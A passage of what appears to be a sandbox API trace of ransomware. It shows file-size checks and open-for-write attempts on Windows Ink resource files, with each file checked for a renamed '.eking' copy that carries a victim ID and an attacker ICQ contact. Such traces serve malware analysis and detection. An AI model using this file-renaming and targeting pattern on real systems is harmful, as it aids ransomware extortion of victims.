lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=8704) returned 1 [0286.440] CloseHandle (hObject=0x2fc) returned 1 [0286.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0286.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0286.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.441] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=5120) returned 1 [0286.441] CloseHandle (hObject=0x2fc) returned 1 [0286.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0286.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0286.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.442] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3072) returned 1 [0286.442] CloseHandle (hObject=0x2fc) returned 1 [0286.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0286.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0286.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.443] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=23040) returned 1 [0286.443] CloseHandle (hObject=0x2fc) returned 1 [0286.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0286.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0286.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.444] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0286.444] CloseHandle (hObject=0x2fc) returned 1 [0286.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0286.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0286.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.446] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=199994) returned 1 [0286.446] CloseHandle (hObject=0x2fc) returned 1 [0286.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0286.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0286.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.453] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9216) returned 1 [0286.454] CloseHandle (hObject=0x2fc) returned 1 [0286.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0286.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0286.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.455] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0286.455] CloseHandle (hObject=0x2fc) returned 1 [0286.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0286.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0286.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.456] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3072) returned 1 [0286.456] CloseHandle (hObject=0x2fc) returned 1 [0286.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0286.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0286.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.457] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3072) returned 1 [0286.457] CloseHandle (hObject=0x2fc) returned 1 [0286.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0286.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0286.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.458] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=44032) returned 1 [0286.458] CloseHandle (hObject=0x2fc) returned 1 [0286.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0286.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0286.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.459] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=181964) returned 1 [0286.459] CloseHandle (hObject=0x2fc) returned 1 [0286.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0286.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0286.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.460] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=5120) returned 1 [0286.460] CloseHandle (hObject=0x2fc) returned 1 [0286.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0286.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0286.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.461] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0286.461] CloseHandle (hObject=0x2fc) returned 1 [0286.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0286.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0286.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.462] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=25088) returned 1 [0286.463] CloseHandle (hObject=0x2fc) returned 1 [0286.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0286.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0286.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.464] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9728) returned 1 [0286.464] CloseHandle (hObject=0x2fc) returned 1 [0286.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0286.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0286.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 